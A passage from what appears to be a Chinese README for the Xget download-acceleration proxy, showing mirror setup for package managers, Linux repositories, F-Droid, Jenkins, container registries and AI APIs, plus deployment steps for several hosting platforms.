在项目中使用\n\n```bash\n# 下载依赖\ngo mod download\n\n# 更新依赖\ngo get -u ./...\n\n# 清理模块缓存\ngo clean -modcache\n```\n\n### NuGet 包管理加速\n\n#### 配置 NuGet 使用 Xget 镜像\n\n```bash\n# 添加 Xget 包源\ndotnet nuget add source https://xget.xi-xu.me/nuget/v3/index.json -n xget\n\n# 列出包源\ndotnet nuget list source\n\n# 在项目中使用\ndotnet restore --source https://xget.xi-xu.me/nuget/v3/index.json\n```\n\n#### 在 NuGet.Config 中配置\n\n```xml\n<!-- NuGet.Config -->\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<configuration>\n  <packageSources>\n    <add key=\"xget\" value=\"https://xget.xi-xu.me/nuget/v3/index.json\" />\n  </packageSources>\n</configuration>\n```\n\n### Rust 包管理加速\n\n#### 配置 Cargo 使用 Xget 镜像\n\n```bash\n# 配置 Cargo 使用 Xget 镜像（在 ~/.cargo/config.toml 中）\nmkdir -p ~/.cargo\ncat >> ~/.cargo/config.toml << EOF\n[source.crates-io]\nreplace-with = \"xget\"\n\n[source.xget]\nregistry = \"https://xget.xi-xu.me/crates/\"\nEOF\n\n# 验证配置\ncargo search serde\n```\n\n#### 在项目中使用\n\n```toml\n# 在 Cargo.toml 中可以正常使用依赖\n[dependencies]\nserde = \"1.0\"\ntokio = \"1.0\"\nreqwest = \"0.11\"\n```\n\n```bash\n# 构建项目时会自动使用 Xget\ncargo build\n\n# 更新依赖\ncargo update\n\n# 添加新依赖\ncargo add clap\n```\n\n### PHP 包管理加速\n\n#### 配置 Composer 使用 Xget 镜像\n\n```bash\n# 全局配置 Composer 镜像\ncomposer config -g repo.packagist composer https://xget.xi-xu.me/packagist/\n\n# 项目级配置\ncomposer config repo.packagist composer https://xget.xi-xu.me/packagist/\n\n# 验证配置\ncomposer config -l\n```\n\n#### 在 composer.json 中配置\n\n```json\n{\n  \"repositories\": [\n    {\n      \"type\": \"composer\",\n      \"url\": \"https://xget.xi-xu.me/packagist/\"\n    }\n  ],\n  \"require\": {\n    \"symfony/console\": \"^6.0\",\n    \"guzzlehttp/guzzle\": \"^7.0\"\n  }\n}\n```\n\n### Flathub 存储库镜像\n\n#### 配置 Flatpak / Flathub 使用 Xget 镜像\n\n```bash\n# 如果之前从未添加过 Flathub，请先导入官方描述文件，\n# 让 Flatpak 信任 Flathub 的签名密钥。\nflatpak remote-add --if-not-exists flathub \\\n  https://dl.flathub.org/repo/flathub.flatpakrepo\n\n# 然后把现有 Flathub 远程仓库改写到 Xget 镜像\nflatpak remote-modify flathub \\\n  --url=https://xget.xi-xu.me/flathub/repo/\n\n# 需要时恢复默认上游地址\nflatpak remote-modify flathub \\\n  --url=https://dl.flathub.org/repo/\n```\n\nXget 镜像的是 Flathub 的 OSTree 仓库端点。根据当前 Flatpak 客户端的实际行为，直接导入镜像\n`.flatpakrepo`\n描述文件，或者直接添加镜像仓库 URL，仍然可能回退到上游 Flathub 地址，或者因为未导入签名密钥而失败，因此更可靠的做法是先添加官方 Flathub，再通过\n`flatpak remote-modify ... --url=...`\n改写远程地址。若你使用系统级远程仓库，请在相同命令前加上 `sudo`。\n\n#### 支持的 Flathub 服务\n\n```url\n# OSTree 存储库元数据\nhttps://xget.xi-xu.me/flathub/repo/config\nhttps://xget.xi-xu.me/flathub/repo/summary\nhttps://xget.xi-xu.me/flathub/repo/summary.sig\nhttps://xget.xi-xu.me/flathub/repo/summary.idx\nhttps://xget.xi-xu.me/flathub/repo/summaries/...\n\n# Flatpak 远程仓库描述文件\nhttps://xget.xi-xu.me/flathub/repo/flathub.flatpakrepo\n\n# 应用引用描述文件\nhttps://xget.xi-xu.me/flathub/repo/appstream/[应用 ID].flatpakref\n\n# 存储库对象与静态增量\nhttps://xget.xi-xu.me/flathub/repo/objects/...\nhttps://xget.xi-xu.me/flathub/repo/deltas/...\nhttps://xget.xi-xu.me/flathub/repo/delta-indexes/...\n```\n\n#### 使用示例\n\n```bash\n# 确认保存下来的远程仓库 URL 已经指向 Xget\nflatpak remotes --show-details\n\n# 查看远程仓库内容\nflatpak remote-ls flathub\n\n# 在改写 Flathub 远程仓库后安装应用\nflatpak install flathub org.gnome.gedit\n\n# 直接通过重写后的 .flatpakref 安装\nflatpak install --from \\\n  https://xget.xi-xu.me/flathub/repo/appstream/org.gnome.gedit.flatpakref\n\n# 排查问题时打印 libcurl HTTP 调试输出\nOSTREE_DEBUG_HTTP=1 flatpak remote-ls flathub\n\n# 更新已安装的应用和运行时\nflatpak update\n```\n\n### Linux 发行版加速\n\n#### Debian/Ubuntu APT 配置\n\n```bash\n# 备份原始源列表\nsudo cp /etc/apt/sources.list /etc/apt/sources.list.backup\n\n# 配置 Debian 镜像\necho \"deb https://xget.xi-xu.me/debian/debian bookworm main\" | sudo tee /etc/apt/sources.list\necho \"deb https://xget.xi-xu.me/debian/debian-security bookworm-security main\" | sudo tee -a /etc/apt/sources.list\n\n# 配置 Ubuntu 镜像\necho \"deb https://xget.xi-xu.me/ubuntu/ubuntu jammy main restricted universe multiverse\" | sudo tee /etc/apt/sources.list\necho \"deb https://xget.xi-xu.me/ubuntu/ubuntu jammy-updates main restricted universe multiverse\" | sudo tee -a /etc/apt/sources.list\n\n# 更新包列表\nsudo apt update\n```\n\n#### Fedora DNF 配置\n\n```bash\n# 配置 Fedora 镜像\nsudo sed -i 's|^metalink=|#metalink=|g' /etc/yum.repos.d/fedora*.repo\nsudo sed -i 's|^#baseurl=http://download.example/pub/fedora/linux|baseurl=https://xget.xi-xu.me/fedora/pub/fedora/linux|g' /etc/yum.repos.d/fedora*.repo\n\n# 更新包缓存\nsudo dnf makecache\n```\n\n#### Rocky Linux DNF 配置\n\n```bash\n# 配置 Rocky Linux 镜像\nsudo sed -i 's|^mirrorlist=|#mirrorlist=|g' /etc/yum.repos.d/rocky*.repo\nsudo sed -i 's|^#baseurl=http://dl.rockylinux.org|baseurl=https://xget.xi-xu.me/rocky|g' /etc/yum.repos.d/rocky*.repo\n\n# 更新包缓存\nsudo dnf makecache\n```\n\n#### openSUSE Zypper 配置\n\n```bash\n# 配置 openSUSE Leap 镜像\nsudo zypper mr -d repo-oss\nsudo zypper ar -f https://xget.xi-xu.me/opensuse/distribution/leap/15.5/repo/oss/ repo-oss-xget\n\n# 配置 openSUSE Tumbleweed 镜像\nsudo zypper mr -d repo-oss\nsudo zypper ar -f https://xget.xi-xu.me/opensuse/tumbleweed/repo/oss/ repo-oss-xget\n\n# 刷新软件源\nsudo zypper refresh\n\n# 验证配置\nsudo zypper lr -u\n```\n\n#### Arch Linux Pacman 配置\n\n```bash\n# 备份原始镜像列表\nsudo cp /etc/pacman.d/mirrorlist /etc/pacman.d/mirrorlist.backup\n\n# 配置 Arch Linux 镜像\necho 'Server = https://xget.xi-xu.me/arch/$repo/os/$arch' | sudo tee /etc/pacman.d/mirrorlist\n\n# 更新包数据库\nsudo pacman -Sy\n```\n\n### 学术资源加速\n\n#### arXiv 论文下载\n\n```bash\n# 下载 arXiv 论文 PDF\nwget https://xget.xi-xu.me/arxiv/pdf/2301.07041.pdf\n\n# 下载论文源码\ncurl -L -O https://xget.xi-xu.me/arxiv/e-print/2301.07041\n\n# 批量下载多篇论文\nfor id in 2301.07041 2302.13971 2303.08774; do\n  wget https://xget.xi-xu.me/arxiv/pdf/${id}.pdf\ndone\n```\n\n#### 在学术工具中使用\n\n```python\n# 在 Python 中使用 arXiv 加速下载\nimport requests\n\ndef download_arxiv_paper(arxiv_id, output_path):\n    url = f\"https://xget.xi-xu.me/arxiv/pdf/{arxiv_id}.pdf\"\n    response = requests.get(url)\n\n    if response.status_code == 200:\n        with open(output_path, 'wb') as f:\n            f.write(response.content)\n        print(f\"Downloaded {arxiv_id} to {output_path}\")\n    else:\n        print(f\"Failed to download {arxiv_id}\")\n\n# 下载论文\ndownload_arxiv_paper(\"2301.07041\", \"attention_is_all_you_need.pdf\")\n```\n\n### F-Droid 存储库镜像\n\n#### 配置 F-Droid 客户端使用 Xget 镜像\n\n1. 在 F-Droid 应用中进入**设置** → **存储库**\n2. 点击 **+** 后输入存储库 URL：`https://xget.xi-xu.me/fdroid/repo`\n3. 点击**添加**后再点击**添加镜像**\n\n#### 支持的 F-Droid 服务\n\n```url\n# F-Droid 应用 APK 下载\nhttps://xget.xi-xu.me/fdroid/repo/[包名]_[版本号].apk\n\n# F-Droid 存储库索引\nhttps://xget.xi-xu.me/fdroid/repo/index-v1.jar\n\n# F-Droid 应用图标\nhttps://xget.xi-xu.me/fdroid/repo/icons-640/[包名].[版本号].png\n\n# F-Droid API 接口\nhttps://xget.xi-xu.me/fdroid/api/v1/packages/[包名]\n```\n\n#### 使用示例\n\n```bash\n# 直接下载 F-Droid 客户端 APK\nwget https://xget.xi-xu.me/fdroid/repo/org.fdroid.fdroid_1016050.apk\n\n# 下载其他开源应用\ncurl -L -O https://xget.xi-xu.me/fdroid/repo/org.mozilla.fennec_fdroid_1014000.apk\n\n# 获取应用信息\ncurl https://xget.xi-xu.me/fdroid/api/v1/packages/org.fdroid.fdroid\n```\n\n#### 批量应用管理\n\n```bash\n# 创建应用下载脚本\ncat > download_fdroid_apps.sh << 'EOF'\n#!/bin/bash\n\n# 定义要下载的应用列表\napps=(\n    \"org.fdroid.fdroid_1016050.apk\"\n    \"org.mozilla.fennec_fdroid_1014000.apk\"\n    \"com.termux_1180.apk\"\n    \"org.videolan.vlc_13050399.apk\"\n)\n\n# 创建下载目录\nmkdir -p fdroid_apps\n\n# 批量下载应用\nfor app in \"${apps[@]}\"; do\n    echo \"正在下载: $app\"\n    wget -P fdroid_apps \"https://xget.xi-xu.me/fdroid/repo/$app\"\ndone\n\necho \"所有应用下载完成！\"\nEOF\n\nchmod +x download_fdroid_apps.sh\n./download_fdroid_apps.sh\n```\n\n#### 开发者集成\n\n对于 Android 开发者，可以在构建脚本中集成 F-Droid 镜像：\n\n```gradle\n// 在 build.gradle 中配置 F-Droid 依赖检查\ntask checkFDroidAvailability {\n    doLast {\n        def fdroidUrl = \"https://xget.xi-xu.me/fdroid/api/v1/packages/${project.name}\"\n        try {\n            def connection = new URL(fdroidUrl).openConnection()\n            connection.requestMethod = 'GET'\n            def responseCode = connection.responseCode\n            if (responseCode == 200) {\n                println \"应用在 F-Droid 上可用: $fdroidUrl\"\n            }\n        } catch (Exception e) {\n            println \"检查 F-Droid 可用性时出错: ${e.message}\"\n        }\n    }\n}\n```\n\n### Jenkins 插件下载\n\n#### 使用 Xget 加速 Jenkins 插件下载和更新\n\n支持 Jenkins 更新中心和插件下载，兼容清华镜像等国内镜像源的配置方式。\n\n#### Jenkins 更新中心配置\n\n##### 方法一：在 Jenkins Web 界面配置\n\n1. 登录 Jenkins 管理界面\n2. 进入 **Manage Jenkins** → **Plugins** → **Advanced**\n3. 在 **Update Site** 部分，将 URL 更改为\n   `https://xget.xi-xu.me/jenkins/update-center.json`\n\n4. 点击 **Submit** 保存配置\n\n##### 方法二：修改配置文件\n\n```bash\n# 在 Jenkins 服务器上修改更新中心配置文件\n# 默认位置：$JENKINS_HOME/hudson.model.UpdateCenter.xml\nsudo nano /var/lib/jenkins/hudson.model.UpdateCenter.xml\n\n# 将 URL 改为：\n# <url>https://xget.xi-xu.me/jenkins/update-center.json</url>\n\n# 重启 Jenkins 服务\nsudo systemctl restart jenkins\n```\n\n#### 支持的 Jenkins 服务\n\n```url\n# Jenkins 更新中心 JSON\nhttps://xget.xi-xu.me/jenkins/update-center.json\n\n# Jenkins 更新中心（实际 JSON 格式）\nhttps://xget.xi-xu.me/jenkins/update-center.actual.json\n\n# Jenkins 插件下载\nhttps://xget.xi-xu.me/jenkins/download/plugins/[插件名]/[版本]/[插件名].hpi\n\n# 实验性插件更新中心\nhttps://xget.xi-xu.me/jenkins/experimental/update-center.json\n```\n\n#### 使用示例\n\n```bash\n# 下载 Maven 插件\nwget https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi\n\n# 下载 Git 插件\ncurl -L -O https://xget.xi-xu.me/jenkins/download/plugins/git/5.2.1/git.hpi\n\n# 获取更新中心信息\ncurl https://xget.xi-xu.me/jenkins/update-center.json\n\n# 批量下载常用插件\ncat > download_jenkins_plugins.sh << 'EOF'\n#!/bin/bash\n\n# 定义要下载的插件列表\nplugins=(\n    \"git:5.2.1\"\n    \"maven-plugin:3.27\"\n    \"workflow-aggregator:596.v8c21c963d92d\"\n    \"blueocean:1.27.8\"\n    \"docker-workflow:563.vd5d2e5c4007f\"\n)\n\n# 创建插件下载目录\nmkdir -p jenkins_plugins\n\n# 批量下载插件\nfor plugin in \"${plugins[@]}\"; do\n    name=$(echo $plugin | cut -d: -f1)\n    version=$(echo $plugin | cut -d: -f2)\n    echo \"正在下载插件: $name v$version\"\n    wget -P jenkins_plugins \"https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi\"\ndone\n\necho \"所有插件下载完成！\"\nEOF\n\nchmod +x download_jenkins_plugins.sh\n./download_jenkins_plugins.sh\n```\n\n#### 离线 Jenkins 部署\n\n对于无网络环境的 Jenkins 部署：\n\n```bash\n# 1. 下载 Jenkins 核心文件\nwget https://xget.xi-xu.me/jenkins/war/jenkins.war\n\n# 2. 创建插件打包脚本\ncat > prepare_jenkins_offline.sh << 'EOF'\n#!/bin/bash\n\n# 创建离线部署目录结构\nmkdir -p jenkins_offline/{plugins,update_center}\n\n# 下载更新中心配置\ncurl -o jenkins_offline/update_center/update-center.json \\\n    https://xget.xi-xu.me/jenkins/update-center.json\n\n# 必备插件列表\nessential_plugins=(\n    \"ant:475.vf34069fef73c\"\n    \"build-timeout:1.31\"\n    \"credentials:1319.v7eb_51b_3a_c97b_\"\n    \"git:5.2.1\"\n    \"github:1.38.0\"\n    \"gradle:2.8.2\"\n    \"ldap:682.v7b_544c9d1512\"\n    \"mailer:463.vedf8358e006b_\"\n    \"matrix-auth:3.2.2\"\n    \"maven-plugin:3.27\"\n    \"pam-auth:1.10\"\n    \"pipeline-stage-view:2.34\"\n    \"ssh-slaves:2.973.v0fa_8c0dea_f9f\"\n    \"timestamper:1.26\"\n    \"workflow-aggregator:596.v8c21c963d92d\"\n    \"ws-cleanup:0.45\"\n)\n\n# 下载所有必备插件\nfor plugin in \"${essential_plugins[@]}\"; do\n    name=$(echo $plugin | cut -d: -f1)\n    version=$(echo $plugin | cut -d: -f2)\n    echo \"下载 $name:$version\"\n    wget -P jenkins_offline/plugins \\\n        \"https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi\"\ndone\n\n# 创建部署说明\ncat > jenkins_offline/deploy_instructions.md << 'DEPLOY'\n# Jenkins 离线部署说明\n\n1. 将 jenkins.war 复制到目标服务器\n2. 启动 Jenkins：java -jar jenkins.war\n3. 将 plugins/ 目录中的 .hpi 文件复制到 $JENKINS_HOME/plugins/\n4. 重启 Jenkins\nDEPLOY\n\necho \"离线部署包准备完成！\"\nEOF\n\nchmod +x prepare_jenkins_offline.sh\n./prepare_jenkins_offline.sh\n```\n\n#### 在项目中使用\n\n##### Jenkinsfile 中的插件检查\n\n```groovy\npipeline {\n    agent any\n\n    stages {\n        stage('Check Plugin Availability') {\n            steps {\n                script {\n                    // 检查 Maven 插件可用性\n                    def pluginUrl = \"https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi\"\n\n                    try {\n                        def response = httpRequest url: pluginUrl, httpMode: 'HEAD'\n                        if (response.status == 200) {\n                            echo \"Maven 插件可用: ${pluginUrl}\"\n                        }\n                    } catch (Exception e) {\n                        error \"Maven 插件不可用: ${e.message}\"\n                    }\n                }\n            }\n        }\n\n        stage('Build') {\n            steps {\n                // 你的构建步骤\n                echo \"使用加速后的插件进行构建...\"\n            }\n        }\n    }\n}\n```\n\n### 容器镜像加速\n\n#### 直接拉取镜像\n\n```bash\n# 拉取 GitHub 容器注册表镜像\ndocker pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n\n# 拉取谷歌容器注册表镜像\ndocker pull xget.xi-xu.me/cr/gcr/distroless/base:latest\n\n# 拉取微软容器注册表镜像\ndocker pull xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0\n```\n\n#### Kubernetes 部署配置\n\n```yaml\n# deployment.yaml - 使用 Xget 的镜像\napiVersion: apps/v1\nkind: Deployment\nmetadata:\n  name: nginx-deployment\nspec:\n  replicas: 3\n  selector:\n    matchLabels:\n      app: nginx\n  template:\n    metadata:\n      labels:\n        app: nginx\n    spec:\n      containers:\n        - name: nginx\n          image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n          ports:\n            - containerPort: 80\n        - name: redis\n          image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine\n          ports:\n            - containerPort: 6379\n```\n\n#### Docker Compose 配置\n\n```yaml\n# docker-compose.yml - 使用 Xget 加速镜像\nversion: '3.8'\nservices:\n  web:\n    image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n    ports:\n      - '80:80'\n    volumes:\n      - ./html:/usr/share/nginx/html\n\n  database:\n    image: xget.xi-xu.me/cr/mcr/mssql/server:2022-latest\n    environment:\n      ACCEPT_EULA: Y\n      SA_PASSWORD: 'MyStrongPassword123!'\n    volumes:\n      - mssql_data:/var/opt/mssql\n\n  cache:\n    image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine\n    ports:\n      - '6379:6379'\n\nvolumes:\n  mssql_data:\n```\n\n#### Dockerfile 优化\n\n```dockerfile\n# 在 Dockerfile 中使用 Xget 加速基础镜像\nFROM xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine AS builder\n\nWORKDIR /app\nCOPY package*.json ./\nRUN npm install\n\nCOPY . .\nRUN npm run build\n\n# 生产阶段\nFROM xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\nCOPY --from=builder /app/dist /usr/share/nginx/html\n\n# 使用微软容器注册表的 .NET 镜像\nFROM xget.xi-xu.me/cr/mcr/dotnet/aspnet:8.0 AS runtime\nWORKDIR /app\nCOPY --from=builder /app/publish .\nENTRYPOINT [\"dotnet\", \"MyApp.dll\"]\n```\n\n#### CI/CD 集成\n\n```yaml\n# GitHub Actions - 使用 Xget 加速容器构建\nname: Build and Deploy\non: [push]\n\njobs:\n  build:\n    runs-on: ubuntu-latest\n    steps:\n      - uses: actions/checkout@v4\n\n      - name: Build with accelerated base images\n        run: |\n          # 构建时使用 Xget 的基础镜像\n          docker build -t myapp:latest \\\n            --build-arg BASE_IMAGE=xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine .\n\n      - name: Test with accelerated images\n        run: |\n          # 使用加速镜像进行测试\n          docker run --rm \\\n            xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 \\\n            dotnet --version\n```\n\n#### Podman 配置\n\n```bash\n# 配置 Podman 使用 Xget 镜像加速\n# 编辑 /etc/containers/registries.conf\n[[registry]]\nprefix = \"ghcr.io\"\nlocation = \"xget.xi-xu.me/cr/ghcr\"\n\n# 或者直接拉取\npodman pull xget.xi-xu.me/cr/ghcr/alpine/alpine:latest\npodman pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest\n```\n\n#### containerd 配置\n\n```toml\n# 配置 containerd 使用 Xget\n# 编辑 /etc/containerd/config.toml\n[plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors]\n  [plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors.\"ghcr.io\"]\n    endpoint = [\"https://xget.xi-xu.me/cr/ghcr\"]\n  [plugins.\"io.containerd.grpc.v1.cri\".registry.mirrors.\"gcr.io\"]\n    endpoint = [\"https://xget.xi-xu.me/cr/gcr\"]\n```\n\n```bash\n# 重启 containerd\nsudo systemctl restart containerd\n```\n\n### AI 推理 API 加速\n\n#### OpenAI API\n\n```python\nfrom openai import OpenAI\n\nclient = OpenAI(\n    api_key=\"your-api-key\",\n    base_url=\"https://xget.xi-xu.me/ip/openai/v1\",  # 使用 Xget\n)\n\nresponse = client.responses.create(\n    model=\"gpt-5.1\",\n    input=\"Hello, GPT!\",\n)\n\nprint(response.output_text)\n```\n\n#### Claude API\n\n```python\nfrom anthropic import Anthropic\n\nclient = Anthropic(\n    api_key=\"your-api-key\",\n    base_url=\"https://xget.xi-xu.me/ip/anthropic\",  # 使用 Xget\n)\n\nmessage = client.messages.create(\n    model=\"claude-sonnet-4-5\",\n    max_tokens=256,\n    messages=[\n        {\n            \"role\": \"user\",\n            \"content\": \"Hello, Claude!\",\n        }\n    ],\n)\n\nprint(message.content[0].text)\n```\n\n#### Gemini API\n\n```python\nfrom google import genai\nfrom google.genai import types\n\nclient = genai.Client(\n    api_key=\"your-api-key\",\n    http_options=types.HttpOptions(base_url=\"https://xget.xi-xu.me/ip/gemini\"),  # 使用 Xget\n)\n\nresponse = client.models.generate_content(\n    model=\"gemini-3-pro-preview\",\n    contents=\"Hello, Gemini!\",\n)\n\nprint(response.text)\n```\n\n#### 多提供商统一接口\n\n```python\nfrom openai import OpenAI\n\nproviders = [\n    (\"Cohere\",  \"your-cohere-api-key\",  \"/cohere/compatibility/v1\", \"command-a-03-2025\"),\n    (\"Mistral\", \"your-mistral-api-key\", \"/mistralai/v1\",            \"mistral-medium-latest\"),\n    (\"xAI\",     \"your-xai-api-key\",     \"/xai/v1\",                  \"grok-4\"),\n]\n\nfor name, key, path, model in providers:\n    client = OpenAI(api_key=key, base_url=\"https://xget.xi-xu.me/ip\" + path)  # 使用 Xget\n    response = client.chat.completions.create(\n        model=model,\n        messages=[{\"role\": \"user\", \"content\": f\"Hello, who are you?\"}],\n    )\n    print(name, \"=>\", response.choices[0].message.content)\n```\n\n#### JavaScript/Node.js 中使用\n\n```javascript\n// OpenAI API 加速\nimport OpenAI from 'openai';\n\nconst openaiClient = new OpenAI({\n  apiKey: 'your-openai-api-key',\n  baseURL: 'https://xget.xi-xu.me/ip/openai/v1' // 使用 Xget\n});\n\nasync function chatWithGPT() {\n  const response = await openaiClient.responses.create({\n    model: 'gpt-5.1',\n    input: 'Hello, GPT!'\n  });\n\n  console.log(response.output_text);\n}\n\n// Claude API 加速\nimport Anthropic from '@anthropic-ai/sdk';\n\nconst anthropicClient = new Anthropic({\n  apiKey: 'your-claude-api-key',\n  baseURL: 'https://xget.xi-xu.me/ip/anthropic' // 使用 Xget\n});\n\nasync function chatWithClaude() {\n  const message = await anthropicClient.messages.create({\n    model: 'claude-sonnet-4-5',\n    max_tokens: 256,\n    messages: [\n      {\n        role: 'user',\n        content: 'Hello, Claude!'\n      }\n    ]\n  });\n\n  console.log(message.content[0].text);\n}\n\n// Gemini API 加速\nimport { GoogleGenAI } from '@google/genai';\n\nconst geminiClient = new GoogleGenAI({\n  apiKey: 'your-gemini-api-key'\n});\n\nasync function chatWithGemini() {\n  const response = await geminiClient.models.generateContent({\n    model: 'gemini-3-pro-preview',\n    contents: 'Hello, Gemini!',\n    config: {\n      httpOptions: {\n        baseUrl: 'https://xget.xi-xu.me/ip/gemini' // 使用 Xget\n      }\n    }\n  });\n\n  console.log(response.text);\n}\n```\n\n#### 环境变量配置\n\n```bash\n# 在 .env 文件中配置\nOPENAI_BASE_URL=https://xget.xi-xu.me/ip/openai\nANTHROPIC_BASE_URL=https://xget.xi-xu.me/ip/anthropic\nGEMINI_BASE_URL=https://xget.xi-xu.me/ip/gemini\nCOHERE_BASE_URL=https://xget.xi-xu.me/ip/cohere\nMISTRAL_AI_BASE_URL=https://xget.xi-xu.me/ip/mistralai\nGROQ_BASE_URL=https://xget.xi-xu.me/ip/groq\n```\n\n然后在代码中使用：\n\n```python\nimport os\nfrom openai import OpenAI\n\n# 从环境变量读取配置\nclient = OpenAI(\n    api_key=os.getenv(\"OPENAI_API_KEY\"),\n    base_url=os.getenv(\"OPENAI_BASE_URL\")  # 自动使用 Xget\n)\n```\n\n## 🚀 部署\n\n### 部署到 Cloudflare Workers\n\n1. **fork 本存储库**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **获取 Cloudflare 凭证**：\n   - 访问[账户 API 令牌](https://dash.cloudflare.com/?to=/:account/api-tokens)创建并记录 API 令牌，使用“编辑 Cloudflare\n     Workers”模板\n   - 访问\n     [Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)\n     记录 Account ID\n\n3. **配置 GitHub Secrets**：\n   - 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions\n   - 添加以下 secrets：\n     - `CLOUDFLARE_API_TOKEN`：你的 API 令牌\n     - `CLOUDFLARE_ACCOUNT_ID`：你的 Account ID\n\n4. **触发部署**：\n   - 推送代码到 `main` 分支会自动触发部署\n   - 仅修改文档文件（`.md`）、`LICENSE`、`.gitignore` 等不会触发部署\n   - 也可以在 GitHub Actions 页面手动触发部署\n\n5. **绑定自定义域名**（可选）：在 Cloudflare Workers 控制台中绑定你的自定义域名\n\n### 部署到 Cloudflare Pages\n\n1. **fork 本存储库**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **获取 Cloudflare 凭证**：\n   - 访问[账户 API 令牌](https://dash.cloudflare.com/?to=/:account/api-tokens)创建并记录 API 令牌，使用“编辑 Cloudflare\n     Workers”模板\n   - 访问\n     [Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages)\n     记录 Account ID\n\n3. **配置 GitHub Secrets**：\n   - 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions\n   - 添加以下 secrets：\n     - `CLOUDFLARE_API_TOKEN`：你的 API 令牌\n     - `CLOUDFLARE_ACCOUNT_ID`：你的 Account ID\n\n4. **触发部署**：\n   - 存储库会自动将 Workers 代码转换为 Pages 兼容格式并同步到 `pages` 分支\n   - 推送代码到 `main` 分支会自动触发同步和部署工作流\n   - 仅修改文档文件（`.md`）、`LICENSE`、`.gitignore` 等不会触发部署\n   - 也可以在 GitHub Actions 页面手动触发部署\n\n5. **绑定自定义域名**（可选）：在 Cloudflare Pages 控制台中绑定你的自定义域名\n\n**注意**：`pages` 分支是从 `main` 分支自动生成的。请勿手动编辑 `pages`\n分支，因为它会被同步工作流覆盖。\n\n### 部署到 EdgeOne Pages\n\n1. **fork 本存储库**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **获取 EdgeOne Pages API Token**：\n   - 访问[中国站 EdgeOne 控制台](https://console.cloud.tencent.com/edgeone/pages?tab=api)或[国际站 EdgeOne 控制台](https://console.tencentcloud.com/edgeone/pages?tab=api)创建并记录 API\n     Token\n\n3. **配置 GitHub Secrets**：\n   - 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions\n   - 添加以下 secret：\n     - `EDGEONE_API_TOKEN`：你的 API Token\n\n4. **触发部署**：\n   - 存储库会自动将 Workers 代码转换为 Pages 兼容格式并同步到 `pages` 分支\n   - 推送代码到 `main` 分支会自动触发同步和部署工作流\n   - 仅修改文档文件（`.md`）、`LICENSE`、`.gitignore` 等不会触发部署\n   - 也可以在 GitHub Actions 页面手动触发部署\n\n5. **绑定自定义域名**（可选）：在 EdgeOne Pages 控制台中绑定你的自定义域名\n\n**注意**：`pages` 分支是从 `main` 分支自动生成的。请勿手动编辑 `pages`\n分支，因为它会被同步工作流覆盖。\n\n### 部署到 Vercel\n\n1. **fork 本存储库**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **获取 Vercel 凭证**：\n   - 访问 [Vercel Account Settings](https://vercel.com/account/settings/tokens)\n     创建并记录 Access Token\n   - 访问 Team Settings 记录 Team ID\n   - 新建项目后访问项目的 Settings 记录 Project ID\n\n3. **配置 GitHub Secrets**：\n   - 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions\n   - 添加以下 secrets：\n     - `VERCEL_TOKEN`：你的 Access Token\n     - `VERCEL_ORG_ID`：你的 Team ID\n     - `VERCEL_PROJECT_ID`：你的 Project ID\n\n4. **触发部署**：\n   - 存储库会自动将 Workers 代码转换为 Functions 兼容格式并同步到 `functions`\n     分支\n   - 推送代码到 `main` 分支会自动触发同步和部署工作流\n   - 仅修改文档文件（`.md`）、`LICENSE`、`.gitignore` 等不会触发部署\n   - 也可以在 GitHub Actions 页面手动触发部署\n\n5. **绑定自定义域名**（可选）：在 Vercel 控制台中绑定你的自定义域名\n\n**注意**：`functions` 分支是从 `main` 分支自动生成的。请勿手动编辑 `functions`\n分支，因为它会被同步工作流覆盖。\n\n### 部署到 Netlify\n\n1. **fork 本存储库**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **获取 Netlify 凭证**：\n   - 访问 [Netlify User Settings](https://app.netlify.com/user/applications)\n     创建并记录 personal access token\n   - 新建项目后访问 Project configuration 记录 Project ID\n\n3. **配置 GitHub Secrets**：\n   - 进入你的 GitHub 存储库 → Settings → Secrets and variables → Actions\n   - 添加以下 secrets：\n     - `NETLIFY_AUTH_TOKEN`：你的 personal access token\n     - `NETLIFY_SITE_ID`：你的 Project ID\n\n4. **触发部署**：\n   - 存储库会自动将 Workers 代码转换为 Functions 兼容格式并同步到 `functions`\n     分支\n   - 推送代码到 `main` 分支会自动触发同步和部署工作流\n   - 仅修改文档文件（`.md`）、`LICENSE`、`.gitignore` 等不会触发部署\n   - 也可以在 GitHub Actions 页面手动触发部署\n\n5. **绑定自定义域名**（可选）：在 Netlify 控制台中绑定你的自定义域名\n\n**注意**：`functions` 分支是从 `main` 分支自动生成的。请勿手动编辑 `functions`\n分支，因为它会被同步工作流覆盖。\n\n### 部署到 Deno Deploy\n\n1. **fork 本存储库**：[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork)\n\n2. **切换默认分支**：\n   - 进入你的 GitHub 存储库 → Settings → General → 